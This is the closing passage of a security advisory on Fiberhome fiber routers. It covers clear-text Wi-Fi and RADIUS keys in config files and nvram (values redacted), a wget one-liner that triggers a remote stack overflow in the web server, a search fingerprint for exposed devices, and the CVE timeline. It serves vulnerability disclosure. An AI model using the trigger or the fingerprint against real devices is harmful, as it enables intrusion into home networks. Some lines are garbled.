0 1178 Jan 7 2020 wifictl_2g.cfg_bak
0 1213 Jan 7 2020 wifictl_5g.cfg
0 1208 Jan 7 2020 wifictl_5g.cfg
drwxr-xr-x
                2 root
drwxr-xr-x 14 root
-rw-r--- 1 root
-rw-r--- 1 root
-rw-r--- 1 root
-rw-r--- 1 root
                                               1208 Jan 7 2020 wifictl_5g.cfg.bak
-rw-r--r-- 1 root 0
#cat /fhconf/fh_wifi/wifi_custom.cfg
ssid 2g=[REMOVED]
ssid_5g=[REMOVED]
country=BR
auth=WPAPSKWPA2PSK
encrypt=tkipaes
psk=[REMOVED]
#cat wifictl_2g.cfg
WPAPSK=[REMOVED]
[...]
WEPKey1=[REMOVED]
WEPKey2=[REMOVED]
WEPKey3=[REMOVED]
[...]
WEPKey4=[REMOVED]
[...]
RadiusKey=[REMOVED]
#cat wifictl_5g.cfg
SSID=[REMOVED]
[...]
WPAPSK=[REMOVED]
[...]
WEPKey1=[REMOVED]
[...]
WEPKey2=[REMOVED]
WEPKey3=[REMOVED]
[...]
WEPKey4=[REMOVED]
RadiusKey=[REMOVED]
```

## Details - Misc - Passwords stored in clear-text in nyram

Some passwords are stored in clear-text in nvram:

```
#nvram show
w10.1_key=1
w10.1_key=[REMOVED]
w10.1_key2=[REMOVED]
w10.1_key3=[REMOVED]
w10.1_key4=[REMOVED]
[...]
w10.1_ssid=[REMOVED]
[...]
w10.1_wpa_psk=[REMOVED]
[...]
w10.1_wpa_psk=[REMOVED]
[...]
w10.key2=[REMOVED]
w10.key2=[REMOVED]
w10.key2=[REMOVED]
w10.key3=[REMOVED]
w10.key3=[REMOVED]
w10.key4=[REMOVED]
[...]
w10.ssid=[REMOVED]
[...]
w10.wpa_psk=[REMOVED]
[...]
[...]
[passwords everywhere removed because of space ]
[...]
```

# Details - Misc - Remote stack overflow in the HTTP server (AN5506-04-FA / RP2631)

I got another Fiberhome device with a different firmware version (AN5506-04-FA, firmware RP2631, 4 April 2019). The HG6245D and the AN5506-04-FA devices share a very similar code base.

The firmware on the AN5506-04-FA device is vulnerable to a remote stack overflow in the  $_{\text{Webs}}$  process by sending a Cookie value with a length > 511 bytes to any valid asp webpage. This can be triggered using a simple wget command:

```
$ wget --no-check-certificate -0- --header 'Cookie: loginName=AAAA[511bytes]AAAA' https://192.168.1.1/tr069/tr069.asp
```

In the HG6245D firmware version RP2602, this vulnerability has been patched by checking the size of values in the cookies, so I was not able to exploit it. You can also read the log file to confirm the length is now checked:

```
\label{lem:condition} $$ \leq 21:23:12,../$ thd_ga2_5/webs.c[1375](websParseRequest): $$ Request header param value is too long! key: cookie $$ (1375)(websParseRequest): $$ Request header param value is too long! key: $$ (1375)(websParseRequest): $$
```

It appears it has been patched in the HG6245D router, firmware RP2602. Firmware RP2631 (4 April 2019) for router AN5506-04-FA remains vulnerable. I found no CVE or public research about this vulnerability so it may have been silently patched by the vendor for the HG6245D router.

#### **Dorks**

acl IP:

GoAhead-Webs/2.5.0 PeerSec-MatrixSSL/3.4.2-OPEN

## Vendor Response

Full-disclosure is applied as it is believed that some backdoors have been intentionally placed by the vendor.

## Report Timeline

- Jan 7, 2020: Majority of vulnerabilities found.
- Jan 8, 2020: This advisory was written.
- Aug 2020: Found the lack of IPv6 firewall.
- Jan 9, 2021: Vulnerabilities checked again and the advisory was rewritten.
- Jan 12, 2021: A public advisory is sent to security mailing lists
- Feb 7, 2021: The latest firmware version (RP2613) is confirmed to be vulnerable.
- Feb 10, 2021: MITRE provides CVE-2021-27139, CVE-2021-27140, CVE-2021-27141, CVE-2021-27142, CVE-2021-27143, CVE-2021-27144, CVE-2021-27145, CVE-2021-27146, CVE-2021-27147, CVE-2021-27148, CVE-2021-27149, CVE-2021-27150, CVE-2021-27151, CVE-2021-27152, CVE-2021-27153, CVE-2021-27154, CVE-2021-27155, CVE-2021-27156, CVE-2021-27157, CVE-2021-27158, CVE-2021-27159, CVE-2021-27160, CVE-2021-27161, CVE-2021-27162, CVE-2021-27164, CVE-2021-27165, CVE-2021-27166, CVE-2021-27167, CVE-2021-27168, CVE-2021-27170, CVE-2021-27171, CVE-2021-27172, CVE-2021-27173, CVE-2021-27174, CVE-2021-27175, CVE-2021-27176, CVE-2021-27177, CVE-2021-27178, CVE-2021-27179.

#### Credits

These vulnerabilities were found by Pierre Kim (@PierreKimSec (https://twitter.com/PierreKimSec)).

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